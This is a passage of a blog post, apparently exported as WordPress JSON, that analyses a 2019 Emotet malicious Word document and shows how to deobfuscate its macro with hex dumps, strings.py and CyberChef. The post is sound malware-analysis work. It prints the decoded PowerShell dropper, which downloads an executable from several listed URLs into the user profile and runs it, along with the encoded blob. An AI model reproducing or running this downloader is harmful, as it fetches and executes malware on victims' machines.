67  ZQBt62ACcA62KQAg\r\n00000B30: 36 32 41 43 51 41 36 32  59 51 41 77 36 32 41 48  62ACQA62YQAw62AH\r\n00000B40: 67 41 36 32 4F 51 42 68  36 32 41 44 49 41 36 32  gA62OQBh62ADIA62\r\n00000B50: 59 67 41 31 36 32 41 47  45 41 36 32 4D 51 41 7A  YgA162AGEA62MQAz\r\n00000B60: 36 32 41 44 4D 41 36 32  4F 41 42 6D 36 32 41 44  62ADMA62OABm62AD\r\n00000B70: 55 41 36 32 4D 41 41 70  36 32 41 43 34 41 36 32  UA62MAAp62AC4A62\r\n00000B80: 49 67 42 4D 36 32 41 47  55 41 36 32 59 41 42 4F  IgBM62AGUA62YABO\r\n00000B90: 36 32 41 47 63 41 36 32  64 41 42 49 36 32 41 43  62AGcA62dABI62AC\r\n00000BA0: 49 41 36 32 49 41 41 74  36 32 41 47 63 41 36 32  IA62IAAt62AGcA62\r\n00000BB0: 5A 51 41 67 36 32 41 44  4D 41 36 32 4D 41 41 7A  ZQAg62ADMA62MAAz\r\n00000BC0: 36 32 41 44 49 41 36 32  4D 77 41 70 36 32 41 43  62ADIA62MwAp62AC\r\n00000BD0: 41 41 36 32 65 77 42 62  36 32 41 45 51 41 36 32  AA62ewBb62AEQA62\r\n00000BE0: 61 51 42 68 36 32 41 47  63 41 36 32 62 67 42 76  aQBh62AGcA62bgBv\r\n00000BF0: 36 32 41 48 4D 41 36 32  64 41 42 70 36 32 41 47  62AHMA62dABp62AG\r\n00000C00: 4D 41 36 32 63 77 41 75  36 32 41 46 41 41 36 32  MA62cwAu62AFAA62\r\n00000C10: 63 67 42 76 36 32 41 47  4D 41 36 32 5A 51 42 7A  cgBv62AGMA62ZQBz\r\n00000C20: 36 32 41 48 4D 41 36 32  58 51 41 36 36 32 41 44  62AHMA62XQA662AD\r\n00000C30: 6F 41 36 32 49 67 42 7A  36 32 41 46 51 41 36 32  oA62IgBz62AFQA62\r\n00000C40: 59 41 42 42 36 32 41 46  49 41 36 32 56 41 41 69  YABB62AFIA62VAAi\r\n00000C50: 36 32 41 43 67 41 36 32  4A 41 42 68 36 32 41 44  62ACgA62JABh62AD\r\n00000C60: 41 41 36 32 65 41 41 35  36 32 41 47 45 41 36 32  AA62eAA562AGEA62\r\n00000C70: 4D 67 42 69 36 32 41 44  55 41 36 32 59 51 41 78  MgBi62ADUA62YQAx\r\n00000C80: 36 32 41 44 4D 41 36 32  4D 77 41 34 36 32 41 47  62ADMA62MwA462AG\r\n00000C90: 59 41 36 32 4E 51 41 77  36 32 41 43 6B 41 36 32  YA62NQAw62ACkA62\r\n00000CA0: 4F 77 41 6B 36 32 41 47  45 41 36 32 4D 41 42 34  OwAk62AGEA62MAB4\r\n00000CB0: 36 32 41 47 55 41 36 32  4D 77 41 33 36 32 41 44  62AGUA62MwA362AD\r\n00000CC0: 67 41 36 32 4D 41 41 33  36 32 41 44 67 41 36 32  gA62MAA362ADgA62\r\n00000CD0: 4D 67 41 31 36 32 41 47  45 41 36 32 59 67 41 30  MgA162AGEA62YgA0\r\n00000CE0: 36 32 41 44 6B 41 36 32  5A 51 42 69 36 32 41 44  62ADkA62ZQBi62AD\r\n00000CF0: 30 41 36 32 4A 77 42 68  36 32 41 44 41 41 36 32  0A62JwBh62ADAA62\r\n00000D00: 65 41 42 6D 36 32 41 44  41 41 36 32 4D 41 41 32  eABm62ADAA62MAA2\r\n00000D10: 36 32 41 47 4D 41 36 32  59 67 41 34 36 32 41 44  62AGMA62YgA462AD\r\n00000D20: 49 41 36 32 4E 41 41 79  36 32 41 47 59 41 36 32  IA62NAAy62AGYA62\r\n00000D30: 4E 51 41 31 36 32 41 44  67 41 36 32 59 77 41 6E  NQA162ADgA62YwAn\r\n00000D40: 36 32 41 44 73 41 36 32  59 67 42 79 36 32 41 47  62ADsA62YgBy62AG\r\n00000D50: 55 41 36 32 59 51 42 72  36 32 41 44 73 41 36 32  UA62YQBr62ADsA62\r\n00000D60: 4A 41 42 68 36 32 41 44  41 41 36 32 65 41 42 6B  JABh62ADAA62eABk\r\n00000D70: 36 32 41 47 45 41 36 32  4F 51 41 77 36 32 41 47  62AGEA62OQAw62AG\r\n00000D80: 4D 41 36 32 4E 41 42 6D  36 32 41 47 45 41 36 32  MA62NABm62AGEA62\r\n00000D90: 5A 67 42 6C 36 32 41 47  4D 41 36 32 50 51 41 6E  ZgBl62AGMA62PQAn\r\n00000DA0: 36 32 41 47 45 41 36 32  4D 41 42 34 36 32 41 47  62AGEA62MAB462AG\r\n00000DB0: 55 41 36 32 5A 67 42 6A  36 32 41 47 45 41 36 32  UA62ZgBj62AGEA62\r\n00000DC0: 4D 77 42 6B 36 32 41 47  45 41 36 32 4F 51 41 78  MwBk62AGEA62OQAx\r\n00000DD0: 36 32 41 44 67 41 36 32  5A 67 41 32 36 32 41 47  62ADgA62ZgA262AG\r\n00000DE0: 49 41 36 32 4E 41 41 6E  36 32 41 48 30 41 36 32  IA62NAAn62AH0A62\r\n00000DF0: 66 51 42 6A 36 32 41 47  45 41 36 32 64 41 42 6A  fQBj62AGEA62dABj\r\n00000E00: 36 32 41 47 67 41 36 32  65 77 42 39 36 32 41 48  62AGgA62ewB962AH\r\n00000E10: 30 41 36 32 4A 41 42 68  36 32 41 44 41 41 36 32  0A62JABh62ADAA62\r\n00000E20: 65 41 41 77 36 32 41 44  49 41 36 32 5A 51 41 34  eAAw62ADIA62ZQA4\r\n00000E30: 36 32 41 44 55 41 36 32  4D 41 41 78 36 32 41 47  62ADUA62MAAx62AG\r\n00000E40: 55 41 36 32 4E 67 41 79  36 32 41 47 49 41 36 32  UA62NgAy62AGIA62\r\n00000E50: 4D 51 42 69 36 32 41 47  51 41 36 32 59 77 41 39  MQBi62AGQA62YwA9\r\n00000E60: 36 32 41 43 63 41 36 32  59 51 41 77 36 32 41 48  62ACcA62YQAw62AH\r\n00000E70: 67 41 36 32 5A 51 41 30  36 32 41 47 59 41 36 32  gA62ZQA062AGYA62\r\n00000E80: 4F 51 42 68 36 32 41 44  51 41 36 32 5A 51 41 78  OQBh62ADQA62ZQAx\r\n00000E90: 36 32 41 47 45 41 36 32  59 77 41 79 36 32 41 43  62AGEA62YwAy62AC\r\n00000EA0: 63 41 00 00 00 02 18 00  35 00 00 00 07 00 00 80  cA......5.......\r\n00000EB0: E1 00 00 00 00 02 00 00  43 61 6C 69 62 72 69 0C  ........Calibri.\r\n<\/pre>\n
Based on this output, we can see there are a lot of ’62’s’ in the base64 string. Since we know that there is a function that gets called that looks for a ’62’ and replaces it with a null value (“”), we can assume that the Powershelll code is being run through this as well and that ’62’ need to be scrubbed from the base64 statement. I switched over to CyberChef to do the rest of the heavy lifting for me. The recipe for this is pretty simple: find\/replace ’62’ with null, de-base64 the string, remove null bits, and then another find\/replace looking for ‘;’ and replacing that with ‘\\n.’ The actual recipe with the base64 string can be found here<\/a>.<\/p>\n
Once you do that, you get the following initial emotet URLs.<\/p>\n
\r\n[# http:\/\/www.microsoft.com\/ #] $a0xf0550f2e56ddc='a0x1e77b851d4'\r\n$a0xb2cc7d0239 = '317'\r\n$a0x998f18422e3f='a0xba55f03be3b21da'\r\n$a0x9a2b5a1338f50=$env:userprofile+'\\'+$a0xb2cc7d0239+'.exe'\r\n$a0x04985d7b57='a0x2a81ddac75b2e'\r\n$a0x2e259a7884=&('new-o'+'bje'+'c'+'t') nET.WeBCLIENt\r\n$a0x67da7f98266='http:\/\/filegst.com\/wp-admin\/Kl\/*http:\/\/www.merceko.com\/wp-content\/1ek7\/*http:\/\/kampusmania.com\/wp-content\/4f2c8\/*http:\/\/vps333.com\/07h31\/1gjy9\/*http:\/\/nuttlefiberart.com\/wp-admin\/eIDCaO\/'."sP`Lit"('*')\r\n$a0x3f778273ac45d='a0x980bc8313ff'\r\nforeach($a0x76db24d017 in $a0x67da7f98266){try{$a0x2e259a7884."DO`W`NLOA`dFile"($a0x76db24d017, $a0x9a2b5a1338f50)\r\n$a0xa87aa84ce09c='a0xd487dedb312e'\r\nIf ((&('Get-I'+'t'+'em') $a0x9a2b5a1338f50)."Le`NgtH" -ge 30323) {[Diagnostics.Process]::"sT`ART"($a0x9a2b5a1338f50)\r\n$a0xe37807825ab49eb='a0xf006cb8242f558c'\r\nbreak\r\n$a0xda90c4fafec='a0xefca3da918f6b4'}}catch{}}$a0x02e8501e62b1bdc='a0xe4f9a4e1ac2'\r\n<\/pre>\n
NOTE: The all the most recent emotet macros also have included the “[# http:\/\/www.microsoft.com\/ #]” at the front of the script. Not sure why, but it has been there in most examples. <\/p>\n
The other way of looking at this and seeing if you don’t want to go through all the above steps is to use another tool from Didier Stevens called strings.py<\/a>. <\/p>\n
Using strings.py, I like using the ‘-L’ flag to sort the strings output from shortest to longest as seen below:<\/p>\n
\r\nherbie$ .\/strings.py -L \/attach\/FA_10063455599_10142019.doc\r\nbjbj\r\nh0'L\r\nh0'L\r\n.... [ more text ] ....\r\nDocumentSummaryInformation\r\nMicrosoft Forms 2.0 TextBox\r\nMicrosoft Forms 2.0 TextBox\r\nMicrosoft Forms 2.0 TextBox\r\nMicrosoft Forms 2.0 TextBox\r\nMicrosoft Forms 2.0 TextBox\r\nMicrosoft Forms 2.0 TextBox\r\nGC="CFCD22322232AB33AB3354"\r\n CONTROL Forms.TextBox.1 \\s \r\n CONTROL Forms.TextBox.1 \\s \r\n CONTROL Forms.TextBox.1 \\s \r\n CONTROL Forms.TextBox.1 \\s \r\n CONTROL Forms.TextBox.1 \\s \r\n CONTROL Forms.TextBox.1 \\s \r\n.... [ more text ] ....\r\n http:\/\/isaias.info\/synthesizing\/books-sports--games\/solid-state http:\/\/jessika.biz\/cambridgeshire\r\nPAAj62ACAA62aAB062AHQA62cABz62ADoA62LwAv62AHcA62dwB362AC4A62bQBp62AGMA62cgBv62AHMA62bwBm62AHQA62LgBj_\r\n http:\/\/lauretta.org\/money-market-account\/b2b\/kentucky http:\/\/roselyn.net\/invoice\/applications\/bus \r\n http:\/\/pascale.name\/intelligent-plastic-mouse\/steel\/withdrawal http:\/\/keira.name\/overpass\/gold\/toys\r\n .... [ more text ] ....\r\n[a:clrMap xmlns:a="http:\/\/schemas.openxmlformats.org\/drawingml\/2006\/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"\/]\r\n62AG8A62bQAv62ACAA62IwA+62ACAA62JABh62ADAA62eABm62ADAA62NQA162ADAA62ZgAy62AGUA62NQA262AGQA62ZABj62AD0A62JwBh62ADAA62eAAx62AGUA62NwA362AGIA62OAA162ADEA62ZAA062ACcA62OwAk62AGEA62MAB462AGIA62MgBj62AGMA62NwBk62ADAA62MgAz62ADkA62IAA962ACAA62JwAz62ADEA62NwAn62ADsA62JABh62ADAA62eAA562ADkA62OABm62ADEA62OAA062ADIA62MgBl62ADMA62ZgA962ACcA62YQAw62AHgA62YgBh62ADUA62NQBm62ADAA62MwBi62AGUA62MwBi62ADIA62MQBk62AGEA62JwA762ACQA62YQAw62AHgA62OQBh62ADIA62YgA162AGEA62MQAz62ADMA62OABm62ADUA62MAA962ACQA62ZQBu62AHYA62OgB162AHMA62ZQBy62AHAA62cgBv62AGYA62aQBs62AGUA62KwAn62AFwA62JwAr62ACQA62YQAw62AHgA62YgAy62AGMA62YwA362AGQA62MAAy62ADMA62OQAr62ACcA62LgBl62AHgA62ZQAn62ADsA62JABh62ADAA62eAAw62ADQA62OQA462ADUA62ZAA362AGIA62NQA362AD0A62JwBh62ADAA62eAAy62AGEA62OAAx62AGQA62ZABh62AGMA62NwA162AGIA62MgBl62ACcA62OwAk62AGEA62MAB462ADIA62ZQAy62ADUA62OQBh62ADcA62OAA462ADQA62PQAm62ACgA62JwBu62AGUA62dwAt62AG8A62JwAr62ACcA62YgBq62AGUA62JwAr62ACcA62YwAn62ACsA62JwB062ACcA62KQAg62AG4A62RQBU62AC4A62VwBl62AEIA62QwBM62AEkA62RQBO62AHQA62OwAk62AGEA62MAB462ADYA62NwBk62AGEA62NwBm62ADkA62OAAy62ADYA62NgA962ACcA62aAB062AHQA62cABz62ADoA62LwAv62AGYA62aQBs62AGUA62ZwBz62AHQA62LgBj62AG8A62bQAv62AHcA62cAAt62AGEA62ZABt62AGkA62bgAv62AEsA62bAAv62ACoA62aAB062AHQA62cABz62ADoA62LwAv62AHcA62dwB362AC4A62bQBl62AHIA62YwBl62AGsA62bwAu62AGMA62bwBt62AC8A62dwBw62AC0A62YwBv62AG4A62dABl62AG4A62dAAv62ADEA62ZQBr62ADcA62LwAq62AGgA62dAB062AHAA62cwA662AC8A62LwBr62AGEA62bQBw62AHUA62cwBt62AGEA62bgBp62AGEA62LgBj62AG8A62bQAv62AHcA62cAAt62AGMA62bwBu62AHQA62ZQBu62AHQA62LwA062AGYA62MgBj62ADgA62LwAq62AGgA62dAB062AHAA62cwA662AC8A62LwB262AHAA62cwAz62ADMA62MwAu62AGMA62bwBt62AC8A62MAA362AGgA62MwAx62AC8A62MQBn62AGoA62eQA562AC8A62KgBo62AHQA62dABw62ADoA62LwAv62AG4A62dQB062AHQA62bABl62AGYA62aQBi62AGUA62cgBh62AHIA62dAAu62AGMA62bwBt62AC8A62dwBw62AC0A62YQBk62AG0A62aQBu62AC8A62ZQBJ62AEQA62QwBh62AE8A62LwAn62AC4A62IgBz62AFAA62YABM62AGkA62dAAi62ACgA62JwAq62ACcA62KQA762ACQA62YQAw62AHgA62MwBm62ADcA62NwA462ADIA62NwAz62AGEA62YwA062ADUA62ZAA962ACcA62YQAw62AHgA62OQA462ADAA62YgBj62ADgA62MwAx62ADMA62ZgBm62ACcA62OwBm62AG8A62cgBl62AGEA62YwBo62ACgA62JABh62ADAA62eAA362ADYA62ZABi62ADIA62NABk62ADAA62MQA362ACAA62aQBu62ACAA62JABh62ADAA62eAA262ADcA62ZABh62ADcA62ZgA562ADgA62MgA262ADYA62KQB762AHQA62cgB562AHsA62JABh62ADAA62eAAy62AGUA62MgA162ADkA62YQA362ADgA62OAA062AC4A62IgBE62AE8A62YABX62AGAA62TgBM62AE8A62QQBg62AGQA62RgBp62AGwA62ZQAi62ACgA62JABh62ADAA62eAA362ADYA62ZABi62ADIA62NABk62ADAA62MQA362ACwA62IAAk62AGEA62MAB462ADkA62YQAy62AGIA62NQBh62ADEA62MwAz62ADgA62ZgA162ADAA62KQA762ACQA62YQAw62AHgA62YQA462ADcA62YQBh62ADgA62NABj62AGUA62MAA562AGMA62PQAn62AGEA62MAB462AGQA62NAA462ADcA62ZABl62AGQA62YgAz62ADEA62MgBl62ACcA62OwBJ62AGYA62IAAo62ACgA62JgAo62ACcA62RwBl62AHQA62LQBJ62ACcA62KwAn62AHQA62JwAr62ACcA62ZQBt62ACcA62KQAg62ACQA62YQAw62AHgA62OQBh62ADIA62YgA162AGEA62MQAz62ADMA62OABm62ADUA62MAAp62AC4A62IgBM62AGUA62YABO62AGcA62dABI62ACIA62IAAt62AGcA62ZQAg62ADMA62MAAz62ADIA62MwAp62ACAA62ewBb62AEQA62aQBh62AGcA62bgBv62AHMA62dABp62AGMA62cwAu62AFAA62cgBv62AGMA62ZQBz62AHMA62XQA662ADoA62IgBz62AFQA62YABB62AFIA62VAAi62ACgA62JABh62ADAA62eAA562AGEA62MgBi62ADUA62YQAx62ADMA62MwA462AGYA62NQAw62ACkA62OwAk62AGEA62MAB462AGUA62MwA362ADgA62MAA362ADgA62MgA162AGEA62YgA062ADkA62ZQBi62AD0A62JwBh62ADAA62eABm62ADAA62MAA262AGMA62YgA462ADIA62NAAy62AGYA62NQA162ADgA62YwAn62ADsA62YgBy62AGUA62YQBr62ADsA62JABh62ADAA62eABk62AGEA62OQAw62AGMA62NABm62AGEA62ZgBl62AGMA62PQAn62AGEA62MAB462AGUA62ZgBj62AGEA62MwBk62AGEA62OQAx62ADgA62ZgA262AGIA62NAAn62AH0A62fQBj62AGEA62dABj62AGgA62ewB962AH0A62JABh62ADAA62eAAw62ADIA62ZQA462ADUA62MAAx62AGUA62NgAy62AGIA62MQBi62AGQA62YwA962ACcA62YQAw62AHgA62ZQA062AGYA62OQBh62ADQA62ZQAx62AGEA62YwAy62ACcA\r\n<\/pre>\n
With the above information, all you need is the first line of the base64 (notice PAA at the beginning):<\/p>\n
\r\nPAAj62ACAA62aAB062AHQA62cABz62ADoA62LwAv62AHcA62dwB362AC4A62bQBp62AGMA62cgBv62AHMA62bwBm62AHQA62LgBj_\r\n<\/pre>\n
and combine that with the rest of the base64 string at the bottom of the output:<\/p>\n
\r\n62AG8A62bQAv62ACAA62IwA+62ACAA62JABh62ADAA62eABm62ADAA62NQA162ADAA62ZgAy62AGUA62NQA262AGQA62ZABj62AD0A62JwBh62ADAA62eAAx62AGUA62NwA362AGIA62OAA162ADEA62ZAA062ACcA62OwAk62AGEA62MAB462AGIA62MgBj62AGMA62NwBk62ADAA62MgAz62ADkA62IAA962ACAA62JwAz62ADEA62NwAn62ADsA62JABh62ADAA62eAA562ADkA62OABm62ADEA62OAA062ADIA62MgBl62ADMA62ZgA962ACcA62YQAw62AHgA62YgBh62ADUA62NQBm62ADAA62MwBi62AGUA62MwBi62ADIA62MQBk62AGEA62JwA762ACQA62YQAw62AHgA62OQBh62ADIA62YgA162AGEA62MQAz62ADMA62OABm62ADUA62MAA962ACQA62ZQBu62AHYA62OgB162AHMA62ZQBy62AHAA62cgBv62AGYA62aQBs62AGUA62KwAn62AFwA62JwAr62ACQA62YQAw62AHgA62YgAy62AGMA62YwA362AGQA62MAAy62ADMA62OQAr62ACcA62LgBl62AHgA62ZQAn62ADsA62JABh62ADAA62eAAw62ADQA62OQA462ADUA62ZAA362AGIA62NQA362AD0A62JwBh62ADAA62eAAy62AGEA62OAAx62AGQA62ZABh62AGMA62NwA162AGIA62MgBl62ACcA62OwAk62AGEA62MAB462ADIA62ZQAy62ADUA62OQBh62ADcA62OAA462ADQA62PQAm62ACgA62JwBu62AGUA62dwAt62AG8A62JwAr62ACcA62YgBq62AGUA62JwAr62ACcA62YwAn62ACsA62JwB062ACcA62KQAg62AG4A62RQBU62AC4A62VwBl62AEIA62QwBM62AEkA62RQBO62AHQA62OwAk62AGEA62MAB462ADYA62NwBk62AGEA62NwBm62ADkA62OAAy62ADYA62NgA962ACcA62aAB062AHQA62cABz62ADoA62LwAv62AGYA62aQBs62AGUA62ZwBz62AHQA62LgBj62AG8A62bQAv62AHcA62cAAt62AGEA62ZABt62AGkA62bgAv62AEsA62bAAv62ACoA62aAB062AHQA62cABz62ADoA62LwAv62AHcA62dwB362AC4A62bQBl62AHIA62YwBl62AGsA62bwAu62AGMA62bwBt62AC8A62dwBw62AC0A62YwBv62AG4A62dABl62AG4A62dAAv62ADEA62ZQBr62ADcA62LwAq62AGgA62dAB062AHAA62cwA662AC8A62LwBr62AGEA62bQBw62AHUA62cwBt62AGEA62bgBp62AGEA62LgBj62AG8A62bQAv62AHcA62cAAt62AGMA62bwBu62AHQA62ZQBu62AHQA62LwA062AGYA62MgBj62ADgA62LwAq62AGgA62dAB062AHAA62cwA662AC8A62LwB262AHAA62cwAz62ADMA62MwAu62AGMA62bwBt62AC8A62MAA362AGgA62MwAx62AC8A62MQBn62AGoA62eQA562AC8A62KgBo62AHQA62dABw62ADoA62LwAv62AG4A62dQB062AHQA62bABl62AGYA62aQBi62AGUA62cgBh62AHIA62dAAu62AGMA62bwBt62AC8A62dwBw62AC0A62YQBk62AG0A62aQBu62AC8A62ZQBJ62AEQA62QwBh62AE8A62LwAn62AC4A62IgBz62AFAA62YABM62AGkA62dAAi62ACgA62JwAq62ACcA62KQA762ACQA62YQAw62AHgA62MwBm62ADcA62NwA462ADIA62NwAz62AGEA62YwA062ADUA62ZAA962ACcA62YQAw62AHgA62OQA462ADAA62YgBj62ADgA62MwAx62ADMA62ZgBm62ACcA62OwBm62AG8A62cgBl62AGEA62YwBo62ACgA62JABh62ADAA62eAA362ADYA62ZABi62ADIA62NABk62ADAA62MQA362ACAA62aQBu62ACAA62JABh62ADAA62eAA262ADcA62ZABh62ADcA62ZgA562ADgA62MgA262ADYA62KQB762AHQA62cgB562AHsA62JABh62ADAA62eAAy62AGUA62MgA162ADkA62YQA362ADgA62OAA062AC4A62IgBE62AE8A62YABX62AGAA62TgBM62AE8A62QQBg62AGQA62RgBp62AGwA62ZQAi62ACgA62JABh62ADAA62eAA362ADYA62ZABi62ADIA62NABk62ADAA62MQA362ACwA62IAAk62AGEA62MAB462ADkA62YQAy62AGIA62NQBh62ADEA62MwAz62ADgA62ZgA162ADAA62KQA762ACQA62YQAw62AHgA62YQA462ADcA62YQBh62ADgA62NABj62AGUA62MAA562AGMA62PQAn62AGEA62MAB462AGQA62NAA462ADcA62ZABl62AGQA62YgAz62ADEA62MgBl62ACcA62OwBJ62AGYA62IAAo62ACgA62JgAo62ACcA62RwBl62AHQA62LQBJ62ACcA62KwAn62AHQA62JwAr62ACcA62ZQBt62ACcA62KQAg62ACQA62YQAw62AHgA62OQBh62ADIA62YgA162AGEA62MQAz62ADMA62OABm62ADUA62MAAp62AC4A62IgBM62AGUA62YABO62AGcA62dABI62ACIA62IAAt62AGcA62ZQAg62ADMA62MAAz62ADIA62MwAp62ACAA62ewBb62AEQA62aQBh62AGcA62bgBv62AHMA62dABp62AGMA62cwAu62AFAA62cgBv62AGMA62ZQBz62AHMA62XQA662ADoA62IgBz62AFQA62YABB62AFIA62VAAi62ACgA62JABh62ADAA62eAA562AGEA62MgBi62ADUA62YQAx62ADMA62MwA462AGYA62NQAw62ACkA62OwAk62AGEA62MAB462AGUA62MwA362ADgA62MAA362ADgA62MgA162AGEA62YgA062ADkA62ZQBi62AD0A62JwBh62ADAA62eABm62ADAA62MAA262AGMA62YgA462ADIA62NAAy62AGYA62NQA162ADgA62YwAn62ADsA62YgBy62AGUA62YQBr62ADsA62JABh62ADAA62eABk62AGEA62OQAw62AGMA62NABm62AGEA62ZgBl62AGMA62PQAn62AGEA62MAB462AGUA62ZgBj62AGEA62MwBk62AGEA62OQAx62ADgA62ZgA262AGIA62NAAn62AH0A62fQBj62AGEA62dABj62AGgA62ewB962AH0A62JABh62ADAA62eAAw62ADIA62ZQA462ADUA62MAAx62AGUA62NgAy62AGIA62MQBi62AGQA62YwA962ACcA62YQAw62AHgA62ZQA062AGYA62OQBh62ADQA62ZQAx62AGEA62YwAy62ACcA\r\n<\/pre>\n
From here, you can use the same CyberChef recipe mentioned above to get the initial URLs for emotet.<\/p>\n","protected":false},"excerpt":{"rendered":"
This sample is from a batch of emotet emails that I found in the email filters back on Monday afternoon (2019-10-14). While all the documents had a different hash (attached to this write-up), the macro that was executed was the same. Based on the URLs found in this sample, this looks like it was from “epoch 2” of emotet as documented here. This write-up is to document how I managed to deobfuscate the macro script. Artifacts =========== _________ _ _ ______ _____ ______ | | | | | \\ | | | | | | \\ \\ | | |…<\/p>\n
 Continue reading<\/span><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[33,12],"class_list":["post-1312","post","type-post","status-publish","format-standard","hentry","category-code","tag-deobfuscating-code","tag-emotet"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1312","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1312"}],"version-history":[{"count":9,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1312\/revisions"}],"predecessor-version":[{"id":1326,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1312\/revisions\/1326"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1312"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1312"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1312"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}